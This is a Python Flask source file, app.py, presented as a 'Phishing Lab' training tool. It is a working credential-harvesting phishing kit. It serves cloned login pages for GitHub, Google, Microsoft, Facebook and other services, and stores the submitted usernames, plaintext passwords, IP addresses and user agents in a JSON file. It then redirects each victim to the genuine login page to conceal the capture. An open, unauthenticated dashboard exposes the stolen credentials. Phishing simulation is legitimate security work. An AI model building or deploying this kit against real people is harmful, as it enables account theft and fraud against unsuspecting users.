app.py

#!/usr/bin/env python3
"""
Phishing Lab - Security Assessment Training Tool
For authorized penetration testing only.
Captures credentials for educational demonstration purposes.
"""

import json
import os
import time
import uuid
from datetime import datetime
from flask import Flask, request, render_template, redirect, jsonify, send_from_directory

app = Flask(__name__)

# --- Configuration ---
LOGS_FILE = "logs.json"
REDIRECT_MAP = {
    "github":    "https://github.com/login",
    "google":    "https://accounts.google.com",
    "microsoft": "https://login.live.com",
    "facebook":  "https://facebook.com/login",
    "linkedin":  "https://linkedin.com/login",
    "instagram": "https://instagram.com/accounts/login",
    "twitter":   "https://twitter.com/login",
    "netflix":   "https://netflix.com/login",
}

# --- Logging ---
def load_logs():
    if not os.path.exists(LOGS_FILE):
        return []
    try:
        with open(LOGS_FILE, "r") as f:
            return json.load(f)
    except:
        return []

def save_logs(logs):
    with open(LOGS_FILE, "w") as f:
        json.dump(logs, f, indent=2)

def add_log(service, username, password, ip_addr, user_agent):
    logs = load_logs()
    entry = {
        "id": str(uuid.uuid4())[:8],
        "service": service,
        "username": username,
        "password": password,
        "ip": ip_addr,
        "user_agent": user_agent,
        "timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
        "epoch": int(time.time()),
    }
    logs.append(entry)
    save_logs(logs)
    return entry

# --- Routes ---

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/<service>")
def login_page(service):
    if service in REDIRECT_MAP:
        return render_template(f"{service}.html", service=service)
    if service == "dashboard":
        return admin_dashboard()
    return redirect("/")

@app.route("/submit", methods=["POST"])
def submit():
    data = request.get_json() or request.form
    service = data.get("service", "unknown")
    username = data.get("username", "")
    password = data.get("password", "")
    ip_addr = request.headers.get("X-Forwarded-For", request.remote_addr)
    user_agent = request.headers.get("User-Agent", "unknown")

    if username and password:
        add_log(service, username, password, ip_addr, user_agent)

    target = REDIRECT_MAP.get(service, "https://github.com/login")
    return jsonify({"redirect": target})

# --- Admin Dashboard ---

@app.route("/dashboard")
def admin_dashboard():
    return render_template("dashboard.html")

@app.route("/dashboard/api/logs")
def api_logs():
    logs = load_logs()
    service = request.args.get("service", "")
    if service:
        logs = [l for l in logs if l["service"] == service]
    return jsonify({"logs": logs, "total": len(logs)})

@app.route("/dashboard/api/stats")
def api_stats():
    logs = load_logs()
    total = len(logs)
    services = {}
    for l in logs:
        svc = l["service"]
        services[svc] = services.get(svc, 0) + 1
    recent = logs[-10:] if logs else []
    return jsonify({
        "total": total,
        "services": services,
        "recent": recent,
        "unique_ips": len(set(l["ip"] for l in logs)),
    })

@app.route("/dashboard/api/clear", methods=["POST"])
def api_clear():
    save_logs([])
    return jsonify({"ok": True, "total": 0})

# --- Static Assets ---

@app.route("/static/<path:path>")
def static_files(path):
    return send_from_directory("static", path)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)